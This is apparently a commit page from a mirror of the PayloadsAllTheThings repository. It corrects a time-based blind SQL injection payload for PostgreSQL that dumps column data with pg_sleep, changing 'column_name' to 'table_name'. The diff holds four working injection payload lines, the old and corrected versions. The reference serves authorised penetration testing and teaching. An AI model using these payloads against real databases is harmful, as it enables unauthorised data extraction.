Mirrors/PayloadsAllTheThings
2
0
Fork 0
mirror of https://github.com/swisskyrepo/PayloadsAllTheThings.git synced 2024-12-04 18:40:41 +00:00
Code Issues Projects Releases Packages Wiki Activity

Update PostgreSQL Injection.md

Browse source 
Switch "column_name" to "table_name".
This commit is contained in:
somebodyoncetoldme 2023-01-03 21:02:57 -08:00 committed by GitHub
parent 5190829ab4
commit aa8950a273
No known key found for this signature in database
GPG key ID: 4AEE18F83AFDEB23
1 changed files with 2 additions and 2 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

4
SQL Injection/PostgreSQL Injection.md
View file

@ -169,8 +169,8 @@ select case when substring(table_name,1,1)='a' then pg_sleep(5) else pg_sleep(0)
```
#### columns dump time based
```sql
select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from column_name limit 1
select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from column_name where column_name='value' limit 1
select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name limit 1
select case when substring(column,1,1)='1' then pg_sleep(5) else pg_sleep(0) end from table_name where column_name='value' limit 1
```